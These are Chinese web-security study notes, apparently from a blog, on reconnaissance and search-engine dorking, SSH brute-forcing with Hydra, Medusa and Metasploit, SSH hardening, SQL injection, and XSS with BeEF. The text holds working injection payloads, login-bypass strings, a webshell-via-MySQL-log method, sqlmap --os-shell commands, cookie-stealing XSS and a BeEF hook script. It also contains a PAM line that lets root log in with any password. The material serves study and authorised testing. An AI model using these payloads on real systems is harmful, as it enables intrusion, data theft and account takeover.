前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >小记 - Web安全

小记 - Web安全

作者头像
Naraku
发布2021-07-29 10:51:36
1.8K0
发布2021-07-29 10:51:36
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

信息收集

基本探测

DNS收集:A记录、CNAME、主机信息、邮箱

敏感目录:后台目录、上传目录、phpinforobots.txt、网站压缩包、Mysql管理接口、安装页面

操作系统:WindowsLinux

数据库类型:Access、MySQL、MSSQL、Oracle、PostSQL、DB2

搭建平台:

脚本程序:

其它信息:端口、子域、旁站、指纹、C段、CMS、WAF

代码语言:javascript
复制
## 后台查找
  1. 默认后台:如adminadmin/login.aspmanagelogin.asp等常见后台
  2. 通过CMS识别查看网站是否使用CMS
  3. 工具扫描:御剑、wwwscan
  4. Google Hacking
  5. 查找是否含有robots.txt等敏感目录
  6. 查看网页中是否含有类似管理员登录的链接 CDN绕过
  • CDN:站长工具-Ping检测
  • CDN获取真实IP:查询历史DNS记录
  • 查询子域名:查询不做CDN的子站点
  • 利用网站漏洞,实现服务器主动连接。如XSS盲打,命令执行反弹Shell,SSRF等
  • 服务器合法服务主动连接。如RSS订阅或部分网站的发送邮件,可通过邮件获取服务器真实IP
  • 国外主机访问域名 其它站点
  • 分目录/端口站点:网站可能由多个CMS或框架组成,相当于渗透目标是多个。
    • 分目录:www.xxx.com/blog
    • 分端口:www.xxx.com:8080
  • 分域名站点:blogs.xxx.com
    • 分域名与主站可能同服务器或网段,对于域名渗透可以直接和主站联系。
  • 手机站点:wap.xxx.com
    • 不同于主站一套的移动应用程序
    • 直接调用主站的程序

    工具 漏洞扫描 AWVS AWVS是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试网站安全,检测流行的安全漏洞。从AWVS11开始,变成了网页端打开的形式,使用一个自定义的端口进行连接。

# 测试网站: http://testhtml5.vulnweb.com/

  1. 自动的客户端脚本分析器,允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。
  2. 业内最先进且深入的 SQL 注入和跨站脚本测试
  3. 高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer
  4. 可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域
  5. 支持含有 CAPTHCA 的页面,单个开始指令和 Two Factor(双因素)验证机制
  6. 丰富的报告功能,包括 VISA PCI 依从性报告
  7. 高速的多线程扫描器轻松检索成千上万个页面
  8. 智能爬行程序检测 web 服务器类型和应用程序语言
  9. Acunetix 检索并分析网站,包括 flash 内容、SOAP 和 AJAX
  10. 端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查
  11. 可导出网站漏洞文件
代码语言:javascript
复制
#### AppScan

测试网站: demo.testfire.net

用户名: jsmith 密码: Demo1234

代码语言:javascript
复制
### 暴力破解

#### Hydra

> Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,其密码能否被破解关键取决于字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

##### 语法参数

hydra [-l username | -L file] [-p pwd | -P file] [-C file] [ host | -M file] [-o file] -l [TEXT] # 登陆名 -L [FILE] # 登陆名列表 -p [TEXT] # 密码 -P [FILE] # 密码列表 -M [FILE] # 目标主机列表 -o [FILE] # 输出发现的用户名和密码到指定文件

Exp: hydra -l login_name -p pwd ftp://[192.168.0.0/24]/ hydra -L login_list.txt -P pwd_list.txt -M targets.txt ssh hydra -l login_name -P pwd_list.txt ftp://192.168.0.1 hydra -L login_list.txt.txt -p pwd imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

代码语言:javascript
复制
##### 使用方法

$ hydra -l root -P pass.dic 192.168.0.1 ssh # 指定用户破解

代码语言:javascript
复制
#### Medusa

> Medusa是一个速度快,支持大规模并行,模块化,爆破登陆。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样,同样属于在线密码破解工具。不同的是,Medusa较Hydra更稳定,但支持模块比Hydra少。

##### 语法参数

medusa [-h host | -H file] [-u username | -U file] [-p password | -P file] [-C file] -M module [OPT] -h [TEXT] # 目标主机名称或IP -H [FILE] # 包含目标主机或者IP的文件 -u [TEXT] # 用户名 -U [FILE] # 用户名列表文件 -p [TEXT] # 密码 -P [FILE] # 密码列表文件 -C [FILE] # 组合条目文件 -O [FILE] # 日志文件 -e [n/s/ns] # n代表空密码,s代表密码和用户名相同 -M [TEXT] # 选择执行模块名 -d # 显示所有模块 -n [NUM] # 使用非默认的TCP端口 -s # 使用SSL -r [NUM] # 重试间隔时间,默认为3秒 -t [NUM] # 设定线程数 -T # 同时测试的主机总数 -L # 并行化,每个用户使用一个线程 -f # 在任何主机上找到第一个用户名/密码后停止破解 -F # 在任何主机上找到第一个有效的用户名/密码后停止 -q # 显示模块的使用信息 -w [NUM] # 错误调试级别(0~10) -v [NUM] # 详细级别(0~6) -V # 显示版本 -Z [TEXT] # 继续上一次扫描

代码语言:javascript
复制
##### 使用方法

$ medusa -M ssh -h 192.168.0.1 -u root -P pwd.txt

代码语言:javascript
复制
#### MSF

> MSF(Metasploit Framework)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台。这个框架主要是由面向对象的Perl编程语言编写的,并带有由C、Python和汇编语言编写的可选组件。

##### SSH相关模块查询

$ msfconsole # 进入MSF msf > search ssh

代码语言:javascript
复制
##### SSH用户枚举模块

参数

Name Current Setting Required(必填) ---- --------------- -------- CHECK_FALSE false no Proxies no RHOSTS yes RPORT 22 yes THREADS 1 yes THRESHOLD 10 yes USERNAME no # 用户名 USER_FILE /root/userlist.txt no # 用户名字典,和用户名2选1填写

Exp

msf5 > use auxiliary/scanner/ssh/ssh_enumusers # SSH用户枚举模块 msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options # 查看配置 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.32.0/24 # 目标ip或网段

rhost => 192.168.32.0/24 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt # 用户名字典 USER_FILE => /root/userlist.txt msf5 auxiliary(scanner/ssh/ssh_enumusers) > run # 启动

代码语言:javascript
复制
##### SSH登录模块

参数

Name Current Setting Required(必填) ---- --------------- -------- BLANK_PASSWORDS false no BRUTEFORCE_SPEED 5 yes DB_ALL_CREDS false no DB_ALL_PASS false no DB_ALL_USERS false no PASSWORD no # 密码 PASS_FILE no # 密码字典文件 RHOSTS yes RPORT 22 yes STOP_ON_SUCCESS false yes THREADS 1 yes USERNAME no USERPASS_FILE no USER_AS_PASS false no # 用户名 USER_FILE no # 用户名字典 VERBOSE false yes

Exp

msf5 > use auxiliary/scanner/ssh/ssh_login # 用户登录模块 msf5 auxiliary(scanner/ssh/ssh_login) > show options msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.32.145 msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt msf5 auxiliary(scanner/ssh/ssh_login) > run

代码语言:javascript
复制
##### 其它模块

use auxiliary/scanner/ssh/ssh_version # SSH版本模块

代码语言:javascript
复制
### 爆破防御

#### 防御手段
  1. 基于PAM实现登录限制 【推荐】 PAM: Liunx下身份验证的第三方服务 模块: pam_tally2.so 功能: 登陆统计 示例: 实现防止对sshd爆破 $ vim /etc/pam.d/sshd auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=30 # 密码输入错误2次时(包含root用户),root用户60秒后解锁,其它用户30秒后解锁
  2. 新建用户时,如无必要,可不给予可登录的shell 【推荐】 $ useradd no_user -s /sbin/nologin
  3. 密码复杂性 【推荐】 字母大小写+数字+特殊字符+20位以上+定期更换
  4. 修改默认端口 $ vim /etc/ssh/sshd_config Port 54321
  5. 限制登录的用户或组 # PermitRootLogin yes AllowUsers user_abc user_xyz # 指定用户user_abc和user_xyz可登陆
  6. 禁用密码,改用公钥方式认证 $ vim /etc/ssh/sshd_config PasswordAuthentication no
  7. 使用sudo
  8. 保护xshell防止导出会话文件 【小心】
  9. GRUB加密 【针对本地破解】
代码语言:javascript
复制
#### 其它

$ vim /etc/pam.d/sshd auth sufficient pam_rootok.so # 【危险】root用户任意密码连接ssh

代码语言:javascript
复制
## 搜索引擎

### Google Hacking

- `site`:搜索指定域名的网页内容,可以用来搜索子域名

site:zhihu.com # 搜索与 zhihu.com 相关的网页 "Web安全" site:zhihu.com # 搜索 zhihu.com 中跟Web安全相关的网页

代码语言:javascript
复制
- `filetype`:搜索指定文件类型

"Web安全" filetype:pdf # 搜索与Web安全相关的PDF site:freebuf.com filetype:pdf # 搜索指定网站中的指定类型文件

代码语言:javascript
复制
- `inurl`:搜索url中存在特定关键字的网页,可用于搜寻有注入点的网站

inurl:.php?id= # 搜索网址中有"php?id="的网页 inurl:.jsp?id= inurl:.asp?id= inurl:/admin/login.php inurl:login

代码语言:javascript
复制
- `intitle`:搜索标题中存在特定关键字的网页

intitle:"后台登录" # 搜索网页标题是后台登录的页面 intitle:"后台管理" filetype:php # 搜索网页标题是后台管理的php页面 intitle:index of "Parent Directory" intitle:index of "password"

代码语言:javascript
复制
- `intext`:搜索正文中存在特定关键字的网页

intext:"powered by wordpress" # 搜索Wordpress制作的网址 intext:"powered by CMS" # 搜索CMS相关的页面

代码语言:javascript
复制
- 其他符号

-keyword # 强制结果不要出现此关键字 *keyword # 模糊搜索,强制结果包含此关键字 "keyword" # 强制搜索结果出现此关键字

代码语言:javascript
复制
### Shodan Hacking

> [Shodan](https://www.shodan.io)被称为"最可怕的搜索引擎"。除了常见的Web服务器,还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备。

- `ip`

114.114.114.114

代码语言:javascript
复制
- `service/protocol`

http http country:"CN" http product:"Apache httpd"

ssh ssh default password ssh default password country:"CN"

代码语言:javascript
复制
- `keyword`:基于关键词搜索的思路是根据banner信息(设备指纹)来搜索

"default password" country:"TH" FTP anon successful

代码语言:javascript
复制
- `country`

country:"cn" country:"us"

代码语言:javascript
复制
- `product`

product:"nginx" product:"Apache httpd" product:"Microsoft IIS httpd" product:"MySQL"

代码语言:javascript
复制
- `version`

product:MySQL version:"5.1.73"

代码语言:javascript
复制
- `hostname`

hostname:.org hostname:.edu

代码语言:javascript
复制
- `os`

os:"Windows Server 2008 R2" os:"Windows 7 or 8" os:"Linux 2.6.x"

代码语言:javascript
复制
- `net`

net:110.180.13.0/24 200 ok net:110.180.13.0/24 200 ok country:CN net:110.180.13.0/24

代码语言:javascript
复制
- `port`

port:22 port:3389

代码语言:javascript
复制
- 综合使用

# 搜索日本区开启80端口的设备 country:"JP" port:"80" country:"JP" port:"80" city:"Tokyo" product:"Apache httpd" os:"Linux 3.x" country:"JP" port:"80" city:"Tokyo" product:"Apache httpd" product:"Apache httpd"

# 搜索中国区使用Windows Server系统的设备 country:"CN" os:"Windows Server 2008 R2" country:"CN" os:"Windows Server 2003" port:"445"

代码语言:javascript
复制
### Zoomeye Hacking

> [ZoomEye](https://www.zoomeye.org/)是一个面向网络空间的搜索引擎,"国产的Shodan",由知道创宇出品。

Shift+/显示快捷帮助

设备

app # 组件名 ver # 组件版本 country # 国家或地区代码 city # 城市名 port # 端口 device # 设备类型 os # 操作系统 service # 服务名 hostname # 主机名 ip # ip地址 cidr # CIDR IP段,如 8.8.8.8/24 ssl # SSL证书 title # HTTP首页标题

网站

site # 域名 os # 操作系统 headers # HTTP头 desc # 首页描述信息 keyword # 首页关键字

代码语言:javascript
复制
- 综合案例

# Apache httpd,版本2.2.16 app:"Apache httpd"+ver:"2.2.16"

代码语言:javascript
复制
# SQL

> 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

## SQL基础

### 注入本质

> 攻击的本质在于输入输出控制。

- 什么是SQL注入
- SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将**外部可控的参数**拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行
- 将用户输入的数据当作SQL语句执行,有2个关键条件:
1. 参数带入数据库查询
2. 参数用户可控

### Mysql基本使用

-- 登录Mysql-- mysql -u'数据库账号' -p'密码' mysql -u'root' -p'owasp'

use database_name; -- 使用库 alter table table_name; -- 使用表 select user() -- 获得当前用户名 select databse() -- 获得当前数据库名 select version() -- 获得当前数据库版本 table_name='user_privileges' -- 用户权限表 table_name='schema_privileges' -- 数据库库权限表

代码语言:javascript
复制
## 数据库类型

- 判断数据库类型

and exists ( select * from msysobjects ) > 0 -- 存在则为Access and exists ( select * from sysobjects ) > 0 -- 存在则为SQLServer

代码语言:javascript
复制
### MySQL注入

#### 注入基础

> **MySQL 5.0**以上版本自带数据库`information_schema`,记录当前MySQL下所有数据库名、表名、列名。

-- information_schema提供了访问数据库元数据的方式 -- 元数据包括数据库名、表名、字段数据类型、访问权限等信息 -- 符号点"."表示下一级 Information_schema.schmata -- 记录库名信息的表,记录库名的字段为schema_name Information_schema.tables -- 记录表名信息的表,记录表名的字段为table_name Information_schema.columns -- 记录列名信息的表,记录列名的字段为column_name

-- 查询数据库库名、表名 information_schema.tables -- select distinct table_schema from information_schema.tables; -- 列出所有库,等价于show databases select table_name from information_schema.tables where table_schema='table_name'; -- 列出指定库的所有表,等价于show tables;

-- 查询数据库库名、表名、字段名 information_schema.columns -- select column_name from information_schema.columns; -- 列出所有表的所有字段 select column_name from information_schema.columns where ; -- 列出指定表的所有字段 select column_name from information_schema.columns where table_schema='database_name' and table_name='table_name'; -- 列出指定库指定表的所有字段

order by x -- 获取字段数 version() -- 版本信息 database() -- 数据库名 user() -- 数据库用户 @@version_compile_os -- 操作系统 @@datadir -- 数据库存储目录 @@secure_file_priv -- 导入导出限制

代码语言:javascript
复制
##### 示例

-- 获取web数据库下所有表名信息 id=1 union select 1,table_name,3 from information_schema.tables where table_schema='web'

-- 获取user表下的所有列名 id=1 union select 1,column_name,3 from information_schema.columns where table_name='user'

-- 上面语句查询某表所有列名时,可能会出现其它不属于该表中的列名 -- 原因是该表名可能在其它数据库中存在,而查询时可能会匹配到其它数据库中同表名的列名信息 -- 解决办法是添加一个条件,将范围限定在指定数据库下指定表中进行查询 id=1 union select 1,column_name,3 from information_schema.columns where table_name='user' and table_schema='web';

代码语言:javascript
复制
#### 注入流程

##### 判断注入点

and 1=1 and 1=2

代码语言:javascript
复制
##### 判断字段数

order by 1

代码语言:javascript
复制
##### 查询库名

union select 1,2,database(),4

-- 也可以查询其它信息 user() # 当前用户 version() # 当前版本 database() # 当前库名 @@version_compile_os # 操作系统

代码语言:javascript
复制
##### 爆表爆列

-- 爆表用group_concat()函数,需将目标据库名转换为十六进制 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=[十六进制数据库名]

-- 爆列,将目标表名转换为十六进制 union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=[十六进制表名]

代码语言:javascript
复制
#### 文件操作

-- 文件读写均需要输入绝对路径, -- 引号被过滤或闭合错误时,可将路径或写入的内容进行十六进制编码 -- load_file('file_name') 读取函数 select load_file('c:/file.txt'); select load_file(0x633a2f66696c652e747874);

-- into outfile 'file_name' 写入函数 select '123' into outfile 'c:/file.txt'; select 0x633a2f66696c652e747874 into outfile 'c:/file.txt';

代码语言:javascript
复制
##### 报错

- 文件读取一直返回NULL
  - 原因:数据库用户权限不足,必须是root用户
- 文件写入报错:`The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
  - 原因:mysql文件的导入和导出路径有默认的设置,即 `secure-file-priv`,当传入的csv文件路径与默认的路径冲突时就会报错。
  - `secure-file-priv`的值有三种情况:
    - `secure_file_priv=null`,限制mysqld不允许导入导出
    - `secure_file_priv=/path/` ,限制mysqld的导入导出只能发生在默认的`/path/`目录下
    - `secure_file_priv='' `,不对mysqld的导入导出做限制



#### 注入拓展

##### 通过日志记录写入木马

Mysql 5.0版本以上会创建日志文件,修改下面2个关于日志的全局变量,若对生成的日志有读写的权限也可以getshell

- `general log `日志记录状态,当值为`ON`时,所执行的sql语句都会保存到`general log file`中
- `general log file`日志保存路径

SHOW VARIABLES LIKE 'general%';   -- 查看日志状态 SET GLOBAL general_log='on' -- 开启日志记录 SET GLOBAL general_log_file='/var/www/html/123.php' -- 修改日志记录路径,路径不存在会报错

代码语言:javascript
复制
修改日志路径后,可通过`select '<?php phpinfo();?>'`写入`phpinfo`,然后浏览器访问该文件查看是否成功写入

##### PHP防注入

魔术引号

magic_quotes_gpc = off # php.ini配置文件下,开启后会对用户输入中的单引号进行转义

安全函数,与魔术引号具有相同功能

id = addslashes(_REQUEST['id']); # php文件中将用户输入放于addslashes()函数内

绕过

  • 编码绕过
  • 宽字节注入
代码语言:javascript
复制
##### 跨库注入

> 意义:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。条件是网站B**数据库用户权限为root**

- 获取所有数据库名

id=1 union select 1,schema_name,3 from information_schema.schemata

代码语言:javascript
复制
- 获取指定数据库`pikachu`下 表名

id=1 union select 1,table_name,3 from information_schema.tables where table_schema='pikachu'

代码语言:javascript
复制
- 获取指定表名`users`下的列名

id=1 union select 1,column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'

代码语言:javascript
复制
- 获取指定数据

id=1 union select 1,username,password from pikachu.users; -- 查询pikachu数据库下的users表

代码语言:javascript
复制
### MSSQL注入

#### 注入流程

[测试靶场](testasp.vulnweb.com/showforum.asp?id=1)

- 判断是否有注入

and 1=1 and 1=2

代码语言:javascript
复制
- 判断是否MSSQL

and user>0

代码语言:javascript
复制
- 判断数据库系统

and (select count(*) from sysobjects) > 0 -- 存在则为MSSQL and (select count(*) from msysobjects) > 0 -- 存在则为Access

代码语言:javascript
复制
- 其它

- 基本信息
代码语言:javascript
复制
-- 获取数据库信息
and 1=(select @@version)
-- 获取当前数据库名称
and 1=(select db_name())


```

获取库名

获取表名

获取列名

获取数据

管理权限
  • SA权限:数据库操作、文件管理、命令执行、注册表读取
  • DB权限:数据库操作、文件管理
  • Public权限:数据库操作

Access注入

注入流程

判断注入点

判断数据库表

猜解

偏移注入

偏移注入的产生主要是用来解决猜到表名,但猜不到列名的情况

先猜解出该表的字段数

使用*号从后往前逐个删除替代,直至返回页面正常为止

代入计算公式

跨库查询

条件:同服务器下的站点存在注入点,知道目标站点数据库的绝对路径和数据库表,则可以通过跨库查询猜解表中的字段名

代码语言:javascript
复制
-- 绝对路径: D:\wwwroot\data.mdb
-- A是目标站点,B是存在注入的站点,AB处于同一服务器
-- admin是数据库中的表,user和password是admin表中的字段

?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\data.mdb].admin
?id=1 union select 1,2,user,password,5,6 from [D:\wwwroot\data.mdb].admin

盲注

  • 普通联合注入和盲注的区别
    • 普通注入效率高、兼容性差
    • 盲注效率低、兼容性强

基于时间延迟注入

主要函数

猜解库名
代码语言:javascript
复制
-- 猜解库名长度,相等则返回0即sleep(0),否则sleep(5)
-- select sleep(if((select length(database())=4), 0, 2));
?id=1 and select sleep(if((select length(database())=3), 0, 2));

-- 猜解库名
-- select sleep(if((select database()='user'), 0, 3));
?id=1 and sleep(if((select database()='user'), 0, 3))  
?id=1 and select sleep(if((select database()='dvwa'), 0, 3));
猜解表名
  • limit n-1,n查询第n个表
  • mid(table_name,x,1)查询表中第x位的值
代码语言:javascript
复制
-- 猜解第1个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解第2个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 1,2

-- 猜解表名第1位
?id=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解表名第2位
?id=1 union select 1,2,3,sleep(if(mid(table_name,2,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1

-- 使用ASCII码猜解表名
?id=1 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97, 0, 1)) from information_schema.tables where table_schema=database() limit 0,1

手工注入

注入类型

报错注入'

布尔注入orand

联合注入:union语句用于联合前面的select查询语句,合并查询更多信息;一般通过报错和布尔注入确认注入点后,便开始通过union语句来获取有效信息。联合查询语句的字段数需要跟前面查询语句的字段数相同,因此需要先猜测前面查询语句所查询的字段数。

时间盲注:某些数据库对错误信息做了安全配置,无法通过以上方式探测注入点。此时,可通过sleep()函数来探测注入点。思路是当sleep(n)函数被带入数据库执行时,网站会延时n秒后再返回信息。因此可判断是否存在注入点。

Payload

代码语言:javascript
复制
-- 报错注入
select * from news where id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);

-- 布尔型注入
select * from news where id = 1 or 1=1;
select * from news where id = 1 and 1=2;

-- 联合注入
select * from news where id = 1 union select 1,2,3;  多语句查询注入
select * from news where id = 1;select 1;

-- 时间盲注
select * from news where id = 1 and sleep(5);

注入流程

  1. 判断注入点:通过构造时间盲注或报错注入返回结果判断是否存在注入点
    • id=1',在1后面加入单引号,页面出错
    • id=1 and 1=1正常,id=1 and 1=2错误
    • id=1 and '1'=1正常,id=1 and '1'=1错误
  2. 判断字段数:order by
    • 原理:order by语句用于根据指定的对结果集进行排序,所以可从1开始尝试,直至第n时返回错误页面(表示不能按第n列排序,即第n列不存在),因此可知该表共有n-1列。
    • ?id=1 and 1=1 order by 1...
  3. 猜表名或字段名:exists()
    • 猜表名:?id=1 and exists (select * from admin)
    • 猜字段:?id=1 and exists (select username from admin)
  4. 判断回显点:union,联合判断回显点
    • 原理:union语法是在查询时,如有两条查询语句,前后语句的字段数需一致。
    • ?id=1 and 1=2 union select 1,2... from table_name
  5. 查询相关内容
    • 猜表名
    • 猜字段名
    • 查询字段内容
    • 其他:表名,字段名很关键。
      • 工具爆破(SQLMap)
      • 通过数据库版本不同,得到利用信息
      • 偏移注入跑出想要的值

自动注入

自动注入主要利用软件SQLmap,一个国内外著名的安全稳定性测试工具,可以用来进行自动化监测,利用SQL注入漏洞,获取数据库服务器的权限。具有强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

常用参数

代码语言:javascript
复制
--current-db  # 获取当前库名
-D "database_name" --tables  # 获取指定库的所有表
-D "database_name" -T "table_name" --columns  # 获取指定库指定表的所有字段
-D "database_name" --tables -T "table_name" -C "username, password" --dump  # 下载指定库指定表指定字段

-p # 目标url中参数过多时,可指定注入参数
--dbms  # 指定目标url数据库类型
--batch  # 自动化完成
--dbs  # 获取全部库名
--users  # 获取全部用户
--current-user  # 获取当前用户

GET注入

代码语言:javascript
复制
# GET基本注入流程 #
# 1.获取当前数据库
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db

# 2.获取指定表
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" --tables

# 3.获取字段
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" --columns

# 4. 获取数据
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" -C "column1, column2" --dump

POST注入

POST注入有2种:

1种是先通过Burp截获并保存POST的数据包,再使用-r参数指定数据包,同时可以使用-p指定参数

1种是通过--data参数,以key=value的形式指定需要POST的参数

Cookie注入

通过--cookie参数传入Cookies进行注入

代码语言:javascript
复制
$ sqlmap -u "http://www.abc.com/index.php?id=1" --cookie "PHPSESSID=Your_Cookies" --batch

数据获取

代码语言:javascript
复制
--dump-all  # 下载全部数据库
--dump-all -exclude-sysdbs  # 下载除系统库外的数据库
-D "database_name" --tables -T "table_name" --dump  # 下载指定库指定表

提权操作

代码语言:javascript
复制
# 获取数据库shell
--sql-shell
sql-shell> select * from users

# 系统方面权限可能不足
# 获取系统shell
--os-shell
# 调用系统cmd
--os-cmd=ls  # 等号后面为cmd命令

代理

代码语言:javascript
复制
# 可通过参数 --proxy=[http|https|socks4|socks5]://address:port 挂载代理
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db --proxy=http://1.2.3.4:80

其它

万能密码

代码语言:javascript
复制
-- asp aspx
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a

用户名:' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码:1

-- PHP
'or 1=1/*
用户名: something
密码:' or '1'='1


-- jsp 万能密码
1'or'1'='1
admin' or 1=1/*

搜索可能存在注入的页面

代码语言:javascript
复制
# Google
 inurl:.php?id=
 inurl:.jsp?id=
 inurl:.asp?id=
 inurl:/admin/login.php
    
# Baidu
 inurl:news.php?id= site:edu.cn
 inurl:news.asp?id= site:edu.cn
 inurl:news.aspx?id= site:edu.cn
    
# 搜索引擎查询后台
 site: 域名 intitle:登录   # 指定域名后台
 inurl: wp-login.php     # Wordpress后台
 inurl: admin.php        # Thinkphp框架后台

提交方式

  • GET注入
  • POST登录框注入
  • Cookie验证注入
  • HTTP头部注入

参数类型

数字型

字符型

搜索型

Sqli-Labs搭建

安装并启动

下载sqli-labs

打开文件,将和修改为自己的数据库账号密码;

修改4个文件setup-db.phpsetup-db-challenge.phpsql-connect.phpsql-connect-1.php

进入目录,找到前面3个文件;

每个文件都要修改以下3处:

最后,打开,点击即可

SQLMap安装

安装

下载

解压SQLMap,并将解压出来的文件夹移动到Python2的安装目录下(这里是),然后将该文件夹重命名为

在桌面新建快捷方式,位置为,名称随意

SQLMap2
SQLMap2

右键该快捷方式,修改起始位置为刚才的目录

SQLMap3
SQLMap3

最后双击打开该快捷方式,输入命令测试是否成功

代码语言:javascript
复制
$ sqlmap --version  # Linux下使用
$ python2 sqlmap.py --version   # Windows下使用

# 1.3.3.31#dev

SQLMap常见参数

代码语言:javascript
复制
-u # 目标url
--cookie # 使用
--level  # 测试等级(1-5),等级越高测试包括的范围越关

--dbs # 列出库
--tables  # 列出表
--columns # (-C,-T,-D)查询字段(字段值、表名、库名)
--flush-session

-T -columns # 跑出列名
-T admin -C “username,password”
--dump-all  # 将目标里所有内容全部输出

MD5加密

MD5是不可逆的,它是一种散列函数,使用Hash算法。在计算过程中原文部分信息丢失。因此不能被破解,只能撞库攻击

XSS

跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。

XSS类型

  • 反射型:反射型XSS攻击,又称为非持久型跨站脚本攻击,它是最常见的XSS类型。漏洞产生的原因是攻击者注入的数据反映在响应上,一个典型的非持久型XSS包含一个带XSS攻击向量的链接,即每次攻击需要用户点击。
  • 存储型:存储型XSS又称为持久型跨站点脚本,持久型XSS相比非持久型XSS攻击危害更大。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。
  • DOM型:从效果上来说也是反射型XSS,其通过修改页面DOM节点而形成XSS。

XSS类型

存储型

反射型

DOM型

数据存储

数据库

URL

URL

输出位置

HTTP响应中

HTTP响应中

动态构造的DOM节点

手工XSS

绕过

大小写绕过

闭合单双引号

尝试触发onclick等事件绕过

双写绕过

字符编码绕过:采用html、URL、Base64等各种编码

HTML编码

字符实体

绕过magic_quotes_gpc:针对开启了魔术引号的网站,可以通过JavaScrip中的字符串方法String.fromCharCode,将ASCII转换为字符串

Payload

代码语言:javascript
复制
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
"><a onclick=alert(document.cookie)>

# img
<img src=x onerror=alert('XSS')>
<img src="javascript:alert('XSS');">
<img src="http:www.baidu.com/xss.js"></img>

自动XSS

BeEF简介

BeEF(Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。

BeEF功能

代码语言:javascript
复制
├── 信息收集
   └── 网络发现
   └── 主机信息
   └── Cookie获取
   └── 会话劫持
   └── 键盘记录
   └── 插件信息
├── 持久化控制
   └── 确认弹框
   └── 小窗口
   └── 中间人
├── 社会工程
   └── 点击劫持
   └── 弹窗告警
   └── 虚假页面
   └── 钓鱼页面
├── 渗透攻击
   └── 内网渗透
   └── Metasploit
   └── CSRF攻击
   └── DDoS攻击

BeEF基础

启动Apache和BeEF

代码语言:javascript
复制
# BeEF可以在Kali中点击打开,账号密码均为beef

# 访问页面
[*]  Web UI: http://127.0.0.1:3000/ui/panel
# 内置脚本
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

攻击:Current Browser > Commands

配合MSFGetShell

攻击思路:攻击机通过MSF模块监听指定端口,然后通过BeEF对已植入XSS的靶机进行攻击,将靶机的浏览器重定向至攻击机所监听的端口。

先通过BeEF插入XSS

MSF配置模块并开始监听

通过BeEF控制靶机,将浏览器重定向至攻击机的指定端口

XXE

